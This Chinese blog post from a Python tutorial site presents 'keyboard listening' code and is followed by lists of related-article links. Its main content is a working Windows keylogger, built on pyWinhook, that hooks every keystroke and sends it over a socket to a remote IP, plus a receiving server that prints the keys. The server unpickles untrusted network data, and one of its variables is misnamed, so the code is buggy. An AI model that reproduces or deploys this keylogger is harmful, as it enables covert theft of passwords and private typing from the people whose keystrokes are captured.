python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中itertools模块用法详解
Sep 25 Python
python获取Linux下文件版本信息、公司名和产品名的方法
Oct 05 Python
跟老齐学Python之编写类之一创建实例
Oct 11 Python
用python写的一个wordpress的采集程序
Feb 27 Python
Django学习笔记之Class-Based-View
Feb 15 Python
根据DataFrame某一列的值来选择具体的某一行方法
Jul 03 Python
Django Rest framework认证组件详细用法
Jul 25 Python
python读写文件write和flush的实现方式
Feb 21 Python
Python如何爬取qq音乐歌词到本地
Jun 01 Python
keras 简单 lstm实例(基于one-hot编码)
Jul 02 Python
在pycharm中文件取消用 pytest模式打开的操作
Sep 01 Python
基于python制作简易版学生信息管理系统
Apr 20 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
php利用反射实现插件机制的方法
2015/03/14 PHP
PHP ajax 异步执行不等待执行结果的处理方法
2015/05/27 PHP
详解WordPress中过滤链接与过滤SQL语句的方法
2015/12/18 PHP
js 刷新页面的代码小结 推荐
2010/04/02 Javascript
Javascript中的默认参数详解
2014/10/22 Javascript
js实现仿百度风云榜可重复多次调用的TAB切换选项卡效果
2015/08/31 Javascript
如何用angularjs制作一个完整的表格
2016/01/21 Javascript
AngularJS基础 ng-show 指令简单示例
2016/08/03 Javascript
javascript表单正则应用
2017/02/04 Javascript
从零学习node.js之模块规范(一)
2017/02/21 Javascript
Javascript操作dom对象之select全面解析
2017/04/24 Javascript
解决canvas画布使用fillRect()时高度出现双倍效果的问题
2017/08/03 Javascript
浅谈vue的iview列表table render函数设置DOM属性值的方法
2017/09/30 Javascript
vue 判断元素内容是否超过宽度的方式
2020/07/29 Javascript
vue 虚拟DOM的原理
2020/10/03 Javascript
[03:11]DOTA2上海特锦赛小组赛第一日recap精彩回顾
2016/02/28 DOTA
wxPython窗口的继承机制实例分析
2014/09/28 Python
Python使用Phantomjs截屏网页的方法
2018/05/17 Python
Python3.6简单反射操作示例
2018/06/14 Python
Python计算库numpy进行方差/标准方差/样本标准方差/协方差的计算
2018/12/28 Python
Python:二维列表下标互换方式(矩阵转置)
2019/12/02 Python
Python Lambda函数使用总结详解
2019/12/11 Python
浅谈CSS3中的变形功能-transform功能
2017/12/27 HTML / CSS
StubHub智利:购买和出售您的门票
2016/11/23 全球购物
Sneaker Studio法国:购买运动鞋
2018/06/08 全球购物
会计电算化专业毕业生自荐信
2013/12/20 职场文书
社会学专业学生职业规划书
2014/02/07 职场文书
大学生就业策划书范文
2014/04/04 职场文书
建筑安全生产责任书
2014/07/22 职场文书
生活部的活动方案
2014/08/19 职场文书
长城导游词
2015/01/30 职场文书
车间主任岗位职责
2015/02/03 职场文书
教师节随笔
2015/08/15 职场文书
关于五一放假的通知
2015/08/18 职场文书
大学生如何逃脱“毕业季创业队即散伙”魔咒?
2019/08/19 职场文书
使用CSS3实现按钮悬停闪烁动态特效代码
2021/08/30 HTML / CSS